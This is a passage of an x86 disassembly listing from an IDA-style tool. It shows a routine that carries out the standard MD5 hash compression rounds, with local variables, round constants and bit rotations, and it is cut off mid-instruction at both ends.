[ecx+eax*4] shr eax, 18h and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+3], al jmp short loc_40F34E ; --------------------------------------------------------------------------- locret_40F3CC: ; CODE XREF: sub_40F33F+25j leave retn sub_40F33F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F3CE proc near ; CODE XREF: sub_40F159+AAp ; sub_40F159+E3p ... var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 50h push 40h push [ebp+arg_4] lea eax, [ebp+var_50] push eax call sub_410244 add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_4], eax mov eax, [ebp+arg_0] mov eax, [eax+4] mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_C], eax mov eax, [ebp+arg_0] mov eax, [eax+0Ch] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_4] lea eax, [ecx+eax-28955B88h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-173848AAh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_C] lea eax, [ecx+eax+242070DBh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3E423112h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_4] lea eax, [ecx+eax-0A83F051h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_10] lea eax, [ecx+eax+4787C62Ah] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_C] lea eax, [ecx+eax-57CFB9EDh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_8] lea eax, [ecx+eax-2B96AFFh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_4] lea eax, [ecx+eax+698098D8h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-74BB0851h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_C] lea eax, [ecx+eax-0A44Fh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_8] lea eax, [ecx+eax-76A32842h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_4] lea eax, [ecx+eax+6B901122h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-2678E6Dh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_C] lea eax, [ecx+eax-5986BC72h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_8] lea eax, [ecx+eax+49B40821h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-9E1DA9Eh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3FBF4CC0h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_C] lea eax, [ecx+eax+265E5A51h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_8] lea eax, [ecx+eax-16493856h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-29D0EFA3h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_10] lea eax, [ecx+eax+2441453h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_C] lea eax, [ecx+eax-275E197Fh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_8] lea eax, [ecx+eax-182C0438h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_4] lea eax, [ecx+eax+21E1CDE6h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3CC8F82Ah] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_C] lea eax, [ecx+eax-0B2AF279h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_8] lea eax, [ecx+eax+455A14EDh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-561C16FBh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3105C08h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_C] lea eax, [ecx+eax+676F02D9h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_8] lea eax, [ecx+eax-72D5B376h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_3C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-5C6BEh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_30] mov ecx, [ebp+var_10] lea eax, [ecx+eax-788E097Fh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_24] mov ecx, [ebp+var_C] lea eax, [ecx+eax+6D9D6122h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_18] mov ecx, [ebp+var_8] lea eax, [ecx+eax-21AC7F4h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_4C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-5B4115BCh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_40] mov ecx, [ebp+var_10] lea eax, [ecx+eax+4BDECFA9h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_34] mov ecx, [ebp+var_C] lea eax, [ecx+eax-944B4B0h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_28] mov ecx, [ebp+var_8] lea eax, [ecx+eax-41404390h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_1C] mov ecx, [ebp+var_4] lea eax, [ecx+eax+289B7EC6h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_50] mov ecx, [ebp+var_10] lea eax, [ecx+eax-155ED806h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_44] mov ecx, [ebp+var_C] lea eax, [ecx+eax-2B10CF7Bh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_38] mov ecx, [ebp+var_8] lea eax, [ecx+eax+4881D05h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_2C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-262B2FC7h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_20] mov ecx, [ebp+var_10] lea eax, [ecx+eax-1924661Bh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_14] mov ecx, [ebp+var_C] lea eax, [ecx+eax+1FA27CF8h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_48] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3B53A99Bh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_4] lea eax, [ecx+eax-0BD6DDBCh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_10] lea eax, [ecx+eax+432AFF97h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_C] lea eax, [ecx+eax-546BDC59h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-36C5FC7h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_4] lea eax, [ecx+eax+655B59C3h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_10] lea eax, [ecx+eax-70F3336Eh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_C] lea eax, [ecx+eax-100B83h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-7A7BA22Fh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_4] lea eax, [ecx+eax+6FA87E4Fh] loc_41005C: ; DATA XREF: .data:off_41A8CCo mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_10] lea eax, [ecx+eax-1D31920h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_C] lea eax, [ecx+eax-5CFEBCECh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_8] lea eax, [ecx+eax+4E0811A1h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_4] lea eax, [ecx+eax-8AC817Eh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_10] lea eax, [ecx+eax-42C50DCBh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_48] mov 